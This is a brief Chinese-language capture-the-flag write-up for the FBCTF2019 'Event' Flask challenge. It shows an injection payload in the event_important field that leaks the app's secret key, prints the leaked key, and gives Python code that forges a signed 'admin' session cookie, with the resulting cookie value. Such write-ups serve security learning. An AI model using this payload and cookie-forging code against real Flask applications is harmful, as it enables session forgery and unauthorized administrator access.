Back

[FBCTF2019]Event

[FBCTF2019]Event

flask

没想到在event_important有注入

猜它可能大概想这样

name = event_name
address = event_address
print(event_important)
event_name=1&event_address=1&event_important=__class__.__init__.__globals__[app].config

于是查到秘钥

fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y

解密,出现的是字符串,不是json

加密

from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
@app.route('/')
def index():
    print(session_serializer.dumps("admin"))
index()

ImFkbWluIg.YZ92Gw.m7Ax9nFV8ULTllJK2X31bEjyCuU

Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy
© Licensed Under CC BY-NC-SA 4.0